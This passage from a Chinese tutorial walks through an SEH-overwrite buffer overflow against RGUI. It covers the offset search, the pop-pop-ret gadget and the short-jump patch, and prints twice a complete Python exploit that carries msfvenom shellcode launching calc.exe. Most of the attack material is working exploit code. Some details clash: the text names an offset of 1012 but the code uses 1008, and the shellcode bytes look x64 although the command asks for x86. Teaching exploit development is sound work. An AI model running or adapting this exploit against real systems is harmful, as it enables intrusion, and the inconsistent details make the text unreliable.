好,现在我们使用另一个 metasploit 实用程序pattern_offset来找到实际字节数,只需为它提供崩溃时在 SEH看到的值 - 68423768(这里不会疑惑吧?这是我们发送给被攻击程序的字符串的一部分,字符的ascii值,手动狗头):
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 68423768
这告诉我们SEH 记录偏移量为1012,我们需要发送1012个A,然后才能覆盖它(注意,我们这里用的是是覆盖到处理地址的偏移量做基准点,要记住前面还有个next(指向下一个SEH的指针))

所以现在我们的测试payload如下所示:

让我们创建上面payload发送给被攻击的程序,看看我们能否正确地覆盖位于0141E74C的SEH记录:
python -c "print('A'*1008 + 'BBBB' + 'CCCC')" | clip.exe

从上面的截图中我们可以看到我们可以正确覆盖 SEH 记录:
43434343(CCCC)是当前SEH记录的异常处理程序;
42424242(BBBB)是下一条SEH记录的地址;
寻找 POP POP RET
要查找包含指令的内存地址pop pop ret,我们可以在所有模块中搜索转换为机器码的5f 5d c3

找到多个结果,让我们选择其中一个,包含可执行指令的63741D2E,并在此处下个断点

覆盖SEH记录,颠覆代码执行流程
让我们发送1008*A到被攻击的程序并在它崩溃后检查 SEH 链:

注意,第一条SEH记录的地址是0141E74C,它的处理程序是757965E0。
让我们在757965E0设置一个断点,继续执行直到断点被命中,然后检查 SEH 链和栈的内容:


一旦到达断点757965E0,我们就可以看到栈上的地址0141E74C,这是下一个SEH记录(由我们控制)的地址,它只比栈顶低3个值。这意味着,如果我们可以覆盖当前SEH记录的处理程序(当前指向757965E0)到一个包含pop pop ret指令的内存地址,我们可以将程序的执行控制转移到0141E74C(我们控制的一个SEH记录),并从那里执行我们的shellcode
所以,现在我们的payload如下:

exploit.py
f = open("payload.txt", "wb")
# Offset into the first SEH record
payload = b"A" * 1008
# Address of the next SEH record
payload += b"IXIN"
# Current SEH handler (pop pop ret)
payload += b"\x2E\x1D\x74\x63"
f.write(payload)
f.close()
执行exploit.py将payload发送到 RGUI

一旦程序因异常而崩溃,我们继续运行程序(F9),我们到达断点0x63741D2E,其中包含pop - pop - ret指令

一旦pop pop指令执行完毕,ret指令会从栈顶弹出栈顶的值0141E74C,也就是我们控制的 SEH 记录,并跳转到它;

一旦执行跳转到0141E74C,我们看到前四个指令实际上是49 58 49 4E代表我们字符串IXIN,这意味着此时我们已经颠覆了代码执行流程,可以开始考虑执行我们的shellcode了。
添加 Shellcode
我们这里就不现写了,直接用msf生成弹出计算器的shell代码以作演示:
msfvenom -a x86 -p windows/exec CMD=calc.exe -b '\x00\x0A\x0D\xff' -f python
f = open("payload.txt", "wb")
# Offset into the first SEH record
payload = b"A" * 1008
# Address of the next SEH record
payload += b"IXIN"
# Current SEH handler (pop pop ret)
payload += b"\x2E\x1D\x74\x63"
# 为了给我们的漏洞利用增加一些稳定性,不是将我们的负载放在缓冲区的最开始并可能导致漏洞利用失败,我们将添加一些Nop指令到payload的开始处
#执行这种指令除了对程序计数器加一,使之指向下一条指令之外,没有任何的效果。只要攻击者能够猜中这段序列中的某个地址,程序就会经过这个序列,到达攻击代码。这个序列#常用的术语是“空操作雪橇( nop sled)。
payload += b"\x90"*10
# shellcode
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xf8\xcd\xb8\xc7\x62\xfb\x35"
buf += b"\x5d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x04\x85\x3b\x23\x92\x13\xf5\x5d\xf8\xcd\xf9\x96\x23"
buf += b"\xab\x67\x0c\xae\x85\x89\x15\x07\xb3\xbe\x0f\x98\x85"
buf += b"\x33\x95\x7a\xb3\xbe\x0f\xd8\x85\x33\xb5\x32\xb3\x3a"
buf += b"\xea\xb2\x87\xf5\xf6\xab\xb3\x04\x9d\x54\xf1\xd9\xbb"
buf += b"\x60\xd7\x15\x1c\x39\x04\xb5\x86\x63\x3a\xd7\xb0\xaa"
buf += b"\x8c\xe9\x8f\xe9\xa9\x15\xd6\xba\xf1\xf0\xc6\xb2\x70"
buf += b"\xb5\xd5\xf8\xcd\xb8\x8f\xe7\x3b\x41\x3a\xb0\xcc\x68"
buf += b"\x97\xe9\xb3\x2d\x19\x73\x8d\x98\x8e\x63\x2b\xd6\x0b"
buf += b"\xb0\x32\x71\x86\xe9\xcf\xbd\x15\xf9\x1b\xf5\xf6\xab"
buf += b"\xb3\x04\x9d\x54\x8c\x79\x0e\x6f\xba\x34\x9c\xc0\x2d"
buf += b"\xcd\x36\x2e\xf8\x79\x79\xf0\x88\x81\x16\x17\x23\x6d"
buf += b"\x19\x73\x8d\x9c\x8e\x63\x2b\x53\x1c\x73\xc1\xf0\x83"
buf += b"\xe9\xbb\x29\x14\xf9\x1d\xf9\x4c\x66\x73\x7d\x5c\x28"
buf += b"\x8c\xe0\x86\x3a\xa5\x6c\x07\xb9\x95\xf9\x9e\x23\xa1"
buf += b"\x7d\xde\x14\xed\xf9\x95\x9d\x1b\x6d\x1c\xa1\x97\xf0"
buf += b"\x4c\x70\x12\x62\xa2\x07\x32\xe5\x8f\xd8\xfa\x35\x5d"
buf += b"\xf8\xcd\xb8\xc7\x62\xb3\xb8\xd0\xf9\xcc\xb8\xc7\x23"
buf += b"\x41\x04\xd6\x97\x4a\x47\x12\xd9\x0b\x80\xff\xae\x8c"
buf += b"\x02\x61\xf7\x46\xa8\xa2\x2d\x85\x3b\x03\x4a\xc7\x33"
buf += b"\x21\xf2\x4d\x43\x27\x17\xfe\x8e\x1a\xeb\xbf\xd7\xad"
buf += b"\x62\xa2\x74\xd4\x22\x32\x6d\xa4\x03\x97\x56\x73\x9d"
buf += b"\xb5\xdd\xc7\x62\xfb\x35\x5d"
payload += buf
f.write(payload)
f.close()
生成payload将其发送到 RGUI。观察崩溃,继续运行程序,直到0x63741D2E处的断点被命中,继续单步在此的pop pop ret指令,ret返回到0x0141E74C处,
此时内存结构如下所示:

根据以上信息得知,目前我们距离漏洞利用成功只差最后一步,一旦程序到达0x0141E74C(黄色区域),它包含代表我们字符串的 4 个字节IXIN,在它后面是我们覆盖的SEH地址(pop pop ret),然后才是nop-shellcode区域,很明显我们需要跳过几个字节才能达到
跳转到 Shellcode
我们需要将漏洞利用代码中的IXIN字符串(表示下一个SEH记录的地址)替换为一个简单的短跳转jmp,来跳过后面的6个字节。该指令可以使用以下字节eb 06进行编码。此外,由于jmp指令只有2个字节,我们需要用 2 个 NOP 字节对其进行补充。因此,IXIN应该像这样替换为eb 06 90 90:
# payload += b"IXIN"
payload += b"\xeb\x06\x90\x90"

f = open("payload.txt", "wb")
# Offset into the first SEH record
payload = b"A" * 1008
# Address of the next SEH record
payload += b"\xeb\x06\x90\x90"
# Current SEH handler (pop pop ret)
payload += b"\x2E\x1D\x74\x63"
#为了给我们的漏洞利用增加一些稳定性,不是将我们的负载放在缓冲区的最开始并可能导致漏洞利用失败,我们将添加一些Nop指令到payload的开始处
#执行这种指令除了对程序计数器加一,使之指向下一条指令之外,没有任何的效果。只要攻击者能够猜中这段序列中的某个地址,程序就会经过这个序列,到达攻击代码。这个序列#常用的术语是“空操作雪橇( nop sled)。
payload += b"\x90"*10
# shellcode
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xdd\xff\xff\xff\x48\x8d\x05"
buf += b"\xef\xff\xff\xff\x48\xbb\xf8\xcd\xb8\xc7\x62\xfb\x35"
buf += b"\x5d\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4"
buf += b"\x04\x85\x3b\x23\x92\x13\xf5\x5d\xf8\xcd\xf9\x96\x23"
buf += b"\xab\x67\x0c\xae\x85\x89\x15\x07\xb3\xbe\x0f\x98\x85"
buf += b"\x33\x95\x7a\xb3\xbe\x0f\xd8\x85\x33\xb5\x32\xb3\x3a"
buf += b"\xea\xb2\x87\xf5\xf6\xab\xb3\x04\x9d\x54\xf1\xd9\xbb"
buf += b"\x60\xd7\x15\x1c\x39\x04\xb5\x86\x63\x3a\xd7\xb0\xaa"
buf += b"\x8c\xe9\x8f\xe9\xa9\x15\xd6\xba\xf1\xf0\xc6\xb2\x70"
buf += b"\xb5\xd5\xf8\xcd\xb8\x8f\xe7\x3b\x41\x3a\xb0\xcc\x68"
buf += b"\x97\xe9\xb3\x2d\x19\x73\x8d\x98\x8e\x63\x2b\xd6\x0b"
buf += b"\xb0\x32\x71\x86\xe9\xcf\xbd\x15\xf9\x1b\xf5\xf6\xab"
buf += b"\xb3\x04\x9d\x54\x8c\x79\x0e\x6f\xba\x34\x9c\xc0\x2d"
buf += b"\xcd\x36\x2e\xf8\x79\x79\xf0\x88\x81\x16\x17\x23\x6d"
buf += b"\x19\x73\x8d\x9c\x8e\x63\x2b\x53\x1c\x73\xc1\xf0\x83"
buf += b"\xe9\xbb\x29\x14\xf9\x1d\xf9\x4c\x66\x73\x7d\x5c\x28"
buf += b"\x8c\xe0\x86\x3a\xa5\x6c\x07\xb9\x95\xf9\x9e\x23\xa1"
buf += b"\x7d\xde\x14\xed\xf9\x95\x9d\x1b\x6d\x1c\xa1\x97\xf0"
buf += b"\x4c\x70\x12\x62\xa2\x07\x32\xe5\x8f\xd8\xfa\x35\x5d"
buf += b"\xf8\xcd\xb8\xc7\x62\xb3\xb8\xd0\xf9\xcc\xb8\xc7\x23"
buf += b"\x41\x04\xd6\x97\x4a\x47\x12\xd9\x0b\x80\xff\xae\x8c"
buf += b"\x02\x61\xf7\x46\xa8\xa2\x2d\x85\x3b\x03\x4a\xc7\x33"
buf += b"\x21\xf2\x4d\x43\x27\x17\xfe\x8e\x1a\xeb\xbf\xd7\xad"
buf += b"\x62\xa2\x74\xd4\x22\x32\x6d\xa4\x03\x97\x56\x73\x9d"
buf += b"\xb5\xdd\xc7\x62\xfb\x35\x5d"
payload += buf
f.write(payload)
f.close()
将生成的payload字符串传递给应用程序会导致应用程序退出并运行 Windows calc.exe 应用程序:

总结
1.Payload使程序抛出异常;
2.SEH 处理程序启动,该处理程序已被包含pop pop ret指令的程序中的内存地址覆盖;
3.Pop pop ret指令使程序跳转到下一个 SEH 记录,该记录被一个简短的相对跳转到 shellcode 覆盖;
4.Shellcode 被执行。

FUZZ
ATL:https://xz.aliyun.com/t/4314
peach:https://baijiahao.baidu.com/s?id=1689049686175600215&wfr=spider&for=pc
自动分析 angr
https://github.com/angr/angr
http://www.manongjc.com/detail/50-ntmfsguzldsifkh.html